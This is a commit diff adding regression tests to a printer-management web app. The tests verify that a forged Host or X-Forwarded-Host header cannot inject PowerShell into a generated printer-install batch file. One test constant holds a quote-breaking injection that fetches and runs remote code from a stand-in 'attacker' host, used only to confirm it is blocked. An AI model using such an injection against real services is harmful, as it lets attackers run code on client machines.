Merge the wilm work, act on the five-agent review, verify the launch-path policy on Windows

tests/test_plugins/test_printer_install_batch.py

@@ -102,3 +102,62 @@ def test_install_batch_resolves_vendor_via_model(
 def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
     resp = client.get('/api/printers/install-batch', headers=auth_headers)
     assert resp.status_code == 400
+
+
+# --- the generated script is a script: what reaches it must be a hostname -----
+#
+# _batch_base_url() interpolates a request-supplied host into the single-quoted
+# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
+# ships blank, so that fallback is the DEFAULT path rather than an edge case.
+# A quote in the host would end the literal. These pin the three rules that stop
+# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
+# and emit a relative base rather than a host we cannot vouch for.
+
+INJECT = "evil';iex(iwr http://attacker/x);'"
+
+
+def test_install_batch_refuses_a_host_that_is_not_a_hostname(
+        client, db, auth_headers, printer_assettype):
+    hp = _vendor(db, 'HP')
+    pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
+                        hostname='wjprn01', vendorid=hp.vendorid)
+    resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
+                      headers={**auth_headers, 'Host': INJECT})
+    assert resp.status_code == 200
+    bat = resp.get_data(as_text=True)
+    assert 'iex' not in bat
+    assert 'attacker' not in bat
+    # No host survived, so the download URL is relative rather than poisoned.
+    assert "-Uri '/installers/PrinterInstaller.exe'" in bat
+
+
+def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
+        client, db, auth_headers, printer_assettype):
+    """TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
+    must not be believed - the same rule clientip.py applies to
+    X-Forwarded-For."""
+    hp = _vendor(db, 'HP')
+    pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
+                        hostname='wjprn01', vendorid=hp.vendorid)
+    resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
+                      headers={**auth_headers,
+                               'X-Forwarded-Host': 'attacker.example'})
+    assert resp.status_code == 200
+    bat = resp.get_data(as_text=True)
+    assert 'attacker.example' not in bat
+
+
+def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
+        client, db, auth_headers, printer_assettype, app):
+    hp = _vendor(db, 'HP')
+    pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
+                        hostname='wjprn01', vendorid=hp.vendorid)
+    app.config['TRUSTED_PROXY_COUNT'] = 1
+    try:
+        resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
+                          headers={**auth_headers,
+                                   'X-Forwarded-Host': 'shopdb.example.net'})
+        bat = resp.get_data(as_text=True)
+        assert 'https://shopdb.example.net/installers/' in bat
+    finally:
+        app.config['TRUSTED_PROXY_COUNT'] = 0